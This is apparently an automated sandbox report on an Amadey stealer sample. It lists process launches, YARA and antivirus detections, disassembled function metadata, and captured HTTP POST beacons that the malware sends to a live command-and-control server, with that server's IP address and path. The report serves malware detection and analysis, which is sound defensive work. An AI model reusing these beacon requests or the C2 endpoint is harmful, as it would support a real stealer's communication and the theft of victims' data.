Jul 5, 2024 05:10:56.235898972 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:56.455529928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49787	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:56.566483021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:57.286765099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:57.287595987 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:57.512305021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49788	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:57.628817081 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:58.319137096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	23:08:52
Start date:	04/07/2024
Path:	C:\Users\user\Desktop\gNo9ad9KO4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\gNo9ad9KO4.exe"
Imagebase:	0x160000
File size:	1'894'912 bytes
MD5 hash:	C2197D56F08530AF4A35733CDA8CD2FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1640045336.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1680219093.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:08:54
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0xe90000
File size:	1'894'912 bytes
MD5 hash:	C2197D56F08530AF4A35733CDA8CD2FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1665651650.0000000004990000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1706078385.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 51%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:08:56
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xe90000
File size:	1'894'912 bytes
MD5 hash:	C2197D56F08530AF4A35733CDA8CD2FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1720834507.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1680559275.0000000005660000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:10:00
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xe90000
File size:	1'894'912 bytes
MD5 hash:	C2197D56F08530AF4A35733CDA8CD2FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2319286062.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 05490C90 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cced7a580dc0341a781b952bf1253ab402c17ef8871bc364165c6b9f1d9d0ac
Instruction ID: 2260a2142df72f109b7243cb81078226ab9fca9ddc7c7da6f7f14a60a80eaadf
Opcode Fuzzy Hash: 9cced7a580dc0341a781b952bf1253ab402c17ef8871bc364165c6b9f1d9d0ac
Instruction Fuzzy Hash: 8D01D6EF18C125BE695EC5411B1E9F63E3FE5D27303318227F80FDA602E2A45A5B51B2

Function 05490CA7 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c2d3ae1bf200e20433ecfb9d60f8545a3e0c1eefff62b2432d78bb62531c42
Instruction ID: da790b58e6c19d9af5997b0ded2cd58cf0931bcbf0decab1f6f8fdd98a43dec4
Opcode Fuzzy Hash: c6c2d3ae1bf200e20433ecfb9d60f8545a3e0c1eefff62b2432d78bb62531c42
Instruction Fuzzy Hash: 2601DBEF18C125BD695AC5411B1EAF73E3FE5D27303318127F80FDA602E2945A5B51B2

Function 05490CBF Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0924ccff450dde87af869237511402858e010289af5f69bdc82bb539afc2ce62
Instruction ID: 9c20d8849399a6da25daf4cd30632ce716dacd46634a449e26d421337ce06fc4
Opcode Fuzzy Hash: 0924ccff450dde87af869237511402858e010289af5f69bdc82bb539afc2ce62
Instruction Fuzzy Hash: 0301D2AF18C011BD695DC5401B1EAF63F3FE4D27303308627F80BD9502D2A45A5B9171

Function 05490CD0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3c71b8fde6457f864f52e21961d1b2db7de2f96db37835d5c33339912d031
Instruction ID: a032131e2338f296ea2effb0a583846211973a0ff6c85a6e2043cec98dec3ad2
Opcode Fuzzy Hash: a3d3c71b8fde6457f864f52e21961d1b2db7de2f96db37835d5c33339912d031
Instruction Fuzzy Hash: EC01F2AF08D015BE295AD6402B1EAFA3F3FF4D27303308223F80BD9502D2A45A5B5172

Function 05490D41 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd6b8be51fdc73d2a4a141b0b175da7fc4e2cafea406f9099eea5848ff711e64
Instruction ID: 535dc4e6fccc58c0e94cbd0d09c3bd7eff15a0a537a4e1f4123d6200fe638ea6
Opcode Fuzzy Hash: dd6b8be51fdc73d2a4a141b0b175da7fc4e2cafea406f9099eea5848ff711e64
Instruction Fuzzy Hash: 7501A2BF08D015ED695EC6442A1EAFA3F2FF5C57303308627F80FC5502E2955A9B5171

Function 05490D0F Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aff2a3cb98312462d3b13d8edf10c132bfc3f8da66aaada0d8b7b9c3b66d7c1
Instruction ID: cf727b8dc5db79ae635b623edfabddeef636c14585e869b655b3e904142164d3
Opcode Fuzzy Hash: 5aff2a3cb98312462d3b13d8edf10c132bfc3f8da66aaada0d8b7b9c3b66d7c1
Instruction Fuzzy Hash: 740126AF08C010ADAA19C6502A0EAF73F3FE4D67303318757F41BC9642E2985A5B9171

Function 05490D5A Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46142410ee08eb60276c1641b83db47f3694687e96ff5243f36fdb195548a87
Instruction ID: 2fd84706991d074fd799f75864e06a0d296b90208eeee5ef745634f8877d4c14
Opcode Fuzzy Hash: b46142410ee08eb60276c1641b83db47f3694687e96ff5243f36fdb195548a87
Instruction Fuzzy Hash: 0CF028DF08D010AD7A09D5512B1D9F73F3FE0D2B30331865BF44BC4102E1505A8B5131

Function 05490CED Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21dad92ddd312c7e5a3e9a087b229951aab9a15275e1aa8e4ec3882a4a5e6af6
Instruction ID: 6b3938068f63f2b3bb03f62af123159b60366dc260713820474a18daa80dc8f3
Opcode Fuzzy Hash: 21dad92ddd312c7e5a3e9a087b229951aab9a15275e1aa8e4ec3882a4a5e6af6
Instruction Fuzzy Hash: 18F0D1BF04D011FDAA59C6446A1EAF67F2FF5D27303308627F40BC4502D2A4665B9132

Function 05490D2D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b632cb8f626b102bf95247398c6dbd9e1ffab16fe6290e20dc1268908af7bf23
Instruction ID: 18bfab58d3419821e79afd4d28bf554efee6916cfc228a5d8396cef6b96ed325
Opcode Fuzzy Hash: b632cb8f626b102bf95247398c6dbd9e1ffab16fe6290e20dc1268908af7bf23
Instruction Fuzzy Hash: 6BF05EAF18D011AD7A58D5912B1EAF77F2FF4D2B303318627F80BC8502E5949A8B5071

Function 05490D70 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e885f8075cab8835d36c2b8a2c74df175c8af39e6ba9836dd01c4172b1e728e4
Instruction ID: 365059be26b23121632cbf290d9ed3fc9ee0eb0d25351ae65f1661dbe078e258
Opcode Fuzzy Hash: e885f8075cab8835d36c2b8a2c74df175c8af39e6ba9836dd01c4172b1e728e4
Instruction Fuzzy Hash: B6F027EF08D020AC7446C6912B0E9FA3F6EF0D2B31330CA6BF446D4482D1594B8F8131

Function 05490D93 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04277db9b854fd47d529742e0bd39dd7536caca9b07deb51f021e58e0006a082
Instruction ID: 5e7f82f26e7aa7d450ae6f0ff52b6d28daa408400564a9a05d6a9b16c7c178df
Opcode Fuzzy Hash: 04277db9b854fd47d529742e0bd39dd7536caca9b07deb51f021e58e0006a082
Instruction Fuzzy Hash: 5BE046AF18C014AC7586C2913A2DAF66F3EF0C2B303308467F486D0902E1884A5F6130

Function 05490DA8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1682298985.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_gNo9ad9KO4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfbb4cfed7400e05eae1408283c0852563247c7a21738ef12d8937be05dafb98
Instruction ID: 9b546864e5d0e833f02622533ce7690991baf0ab963a6c50cbc6a8b88fad7ac5
Opcode Fuzzy Hash: dfbb4cfed7400e05eae1408283c0852563247c7a21738ef12d8937be05dafb98
Instruction Fuzzy Hash: 69E072BF58C210EEA244E2A1220C1F6BBBBF5C1B30330803FF046C0802E6881A8FA170

Analysis Process: explorti.exePID: 8152, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.1%
Total number of Nodes:	595
Total number of Limit Nodes:	28

Executed Functions

Function 00E9BD30 Relevance: 23.1, APIs: 5, Strings: 8, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00EE8D18,00000000,00000000,00000000,00000000), ref: 00E9BDBC
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E9BDE1
HttpOpenRequestA.WININET(?,00000000), ref: 00E9BE2A
HttpSendRequestA.WININET(?,00000000), ref: 00E9BEEB
InternetReadFile.WININET(?,?,000003FF,?), ref: 00E9BF9D
InternetCloseHandle.WININET(?), ref: 00E9C077
InternetCloseHandle.WININET(?), ref: 00E9C07F
InternetCloseHandle.WININET(?), ref: 00E9C087

Strings

invalid stoi argument, xrefs: 00E9E3D4
aAJTaDE6OpZ=, xrefs: 00E9C355
stoi argument out of range, xrefs: 00E9E3CA
aAJTazgvOn==, xrefs: 00E9C2BB, 00E9C513
Ux1MTw==, xrefs: 00E9BE03
k, xrefs: 00E9CD68, 00E9D096, 00E9D627
UfNm, xrefs: 00E9D4E6
3, xrefs: 00E9E2CF

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: UfNm$Ux1MTw==$aAJTaDE6OpZ=$aAJTazgvOn==$invalid stoi argument$stoi argument out of range$3$k
API String ID: 688256393-3541917878
Opcode ID: 1c015bdabd87190daf1f6dc4a462968d446d6be276003026ce6eb90ae4b0acea
Instruction ID: 8851d719b0e8924db848d7b7a9582653bcc1cf4364867d312a64ae7b7f08690d
Opcode Fuzzy Hash: 1c015bdabd87190daf1f6dc4a462968d446d6be276003026ce6eb90ae4b0acea
Instruction Fuzzy Hash: C9B1D4B1A001189BDF28DF28CD85BEEBBB9EF45304F605198F509A7292D7759AC0CF94

Function 00E96590 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00E96630

Strings

JLTlbM==, xrefs: 00E966D8
LLNlbM==, xrefs: 00E96781
UrSe DMt, xrefs: 00E9664C

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: JLTlbM==$LLNlbM==$UrSe DMt
API String ID: 1484870144-2175010088
Opcode ID: 26a525638347688097e27bef03bc38b92b3d17b96719179bcf16ed2be1015450
Instruction ID: 4e5f3def470547da13960ba0e5a089fce8bd61167e2eb369535aa457c2172c3a
Opcode Fuzzy Hash: 26a525638347688097e27bef03bc38b92b3d17b96719179bcf16ed2be1015450
Instruction Fuzzy Hash: 6791D3B19001189BDF29DB24CC85BEDB7B9EB45304F4055EAE509E7292DA349FC4CFA4

Function 00EA4270 Relevance: 42.8, APIs: 1, Strings: 22, Instructions: 2558sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA7840: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00EA792C
Part of subcall function 00EA7840: __Cnd_destroy_in_situ.LIBCPMT ref: 00EA7938
Part of subcall function 00EA7840: __Mtx_destroy_in_situ.LIBCPMT ref: 00EA7941

Part of subcall function 00E9BD30: InternetOpenW.WININET(00EE8D18,00000000,00000000,00000000,00000000), ref: 00E9BDBC
Part of subcall function 00E9BD30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E9BDE1
Part of subcall function 00E9BD30: HttpOpenRequestA.WININET(?,00000000), ref: 00E9BE2A

std::_Xinvalid_argument.LIBCPMT ref: 00EA4E72
Sleep.KERNELBASE ref: 00EA6B35

Strings

cWI2as==, xrefs: 00EA46E2
YQAZ, xrefs: 00EA53EE
PzE+, xrefs: 00EA4746, 00EA47BD, 00EA4A65, 00EA4ADC
ccS=, xrefs: 00EA6353
4dd39d, xrefs: 00EA5459
YQQZ, xrefs: 00EA534A
dgEZ, xrefs: 00EA54AB
aPIZ, xrefs: 00EA54D2
PzI+, xrefs: 00EA478D, 00EA48BC, 00EA4AAC, 00EA4BDB
Ip==, xrefs: 00EA4CFD
bWEZ, xrefs: 00EA5440
invalid stoi argument, xrefs: 00EA4E6D
bAQZ, xrefs: 00EA5321
YfcZ, xrefs: 00EA5417
stoi argument out of range, xrefs: 00EA4E7C
cVIZ, xrefs: 00EA5467
czEZ, xrefs: 00EA53C5
dPWZ, xrefs: 00EA539C
bV5Z, xrefs: 00EA52ED
NvWsKw==, xrefs: 00EA5489
246122658369, xrefs: 00EA4F0A, 00EA4F1D, 00EA4F5F, 00EA4F69, 00EA54C4
ZzSZ, xrefs: 00EA5373

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 246122658369$4dd39d$Ip==$NvWsKw==$PzE+$PzI+$YQAZ$YQQZ$YfcZ$ZzSZ$aPIZ$bAQZ$bV5Z$bWEZ$cVIZ$cWI2as==$ccS=$czEZ$dPWZ$dgEZ$invalid stoi argument$stoi argument out of range
API String ID: 4201286991-368581918
Opcode ID: 935de888c671147ff3023924fdc21e1c4a89c6820005f682e66bd950d3b4d097
Instruction ID: cfebc8424ddd4c07f56d553b6582c5859a44234d5d79b8df8fb9f5e29d0e455c
Opcode Fuzzy Hash: 935de888c671147ff3023924fdc21e1c4a89c6820005f682e66bd950d3b4d097
Instruction Fuzzy Hash: 31230771E002488BEB19DB28CD4579DBBB69B8A304F5491D8E049BF2C2DB75AF84CF51

Function 00EA4690 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00EA7840: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00EA792C
Part of subcall function 00EA7840: __Cnd_destroy_in_situ.LIBCPMT ref: 00EA7938
Part of subcall function 00EA7840: __Mtx_destroy_in_situ.LIBCPMT ref: 00EA7941

Part of subcall function 00E9BD30: InternetOpenW.WININET(00EE8D18,00000000,00000000,00000000,00000000), ref: 00E9BDBC
Part of subcall function 00E9BD30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E9BDE1
Part of subcall function 00E9BD30: HttpOpenRequestA.WININET(?,00000000), ref: 00E9BE2A

std::_Xinvalid_argument.LIBCPMT ref: 00EA4E72

Strings

cWI2as==, xrefs: 00EA46E2
YQAZ, xrefs: 00EA53EE
PzE+, xrefs: 00EA4746, 00EA47BD, 00EA4A65, 00EA4ADC
ccS=, xrefs: 00EA6353, 00EA6622
4dd39d, xrefs: 00EA5459
YQQZ, xrefs: 00EA534A
dgEZ, xrefs: 00EA54AB
aPIZ, xrefs: 00EA54D2
